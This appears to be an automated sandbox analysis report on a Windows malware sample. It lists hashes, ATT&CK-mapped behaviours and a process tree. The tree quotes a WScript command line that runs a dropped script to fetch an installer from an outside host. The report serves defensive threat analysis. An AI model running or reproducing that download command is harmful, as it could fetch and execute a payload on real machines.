b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506

Analysis

max time kernel
152s
max time network
197s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
04/12/2022, 02:36

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General

Target

b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe
Size

184KB
MD5

32c4e42ebc77184835156c8bc73f8c36
SHA1

efa5991cd1f9bf5c8d5dc2ea4bc560020548ac86
SHA256

b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506
SHA512

d69561ce869c64ba0d01ce45d360d7f70706d5fa19a88d8dfa3638727cd1c11e8a28a58d16260aea0cc399b651978c795054949157f041208d3211c917f2dca9
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO31Xv:/7BSH8zUB+nGESaaRvoB7FJNndngXv

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
52	1452	WScript.exe
69	1452	WScript.exe
74	3128	WScript.exe
76	3128	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 1452	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	86
PID 4360 wrote to memory of 1452	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	86
PID 4360 wrote to memory of 1452	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	86
PID 4360 wrote to memory of 3128	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	89
PID 4360 wrote to memory of 3128	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	89
PID 4360 wrote to memory of 3128	4360	b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe	89

C:\Users\Admin\AppData\Local\Temp\b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe
"C:\Users\Admin\AppData\Local\Temp\b048013b1d559f8cc525d5eb9c28e418bd962c08e52701f65bb1862717334506.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf926C.js" http://www.djapp.info/?domain=aRbsWYUMhI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf926C.exe
  2⤵
  - Blocklisted process makes network request
  PID:1452
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf926C.js" http://www.djapp.info/?domain=aRbsWYUMhI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf926C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf926C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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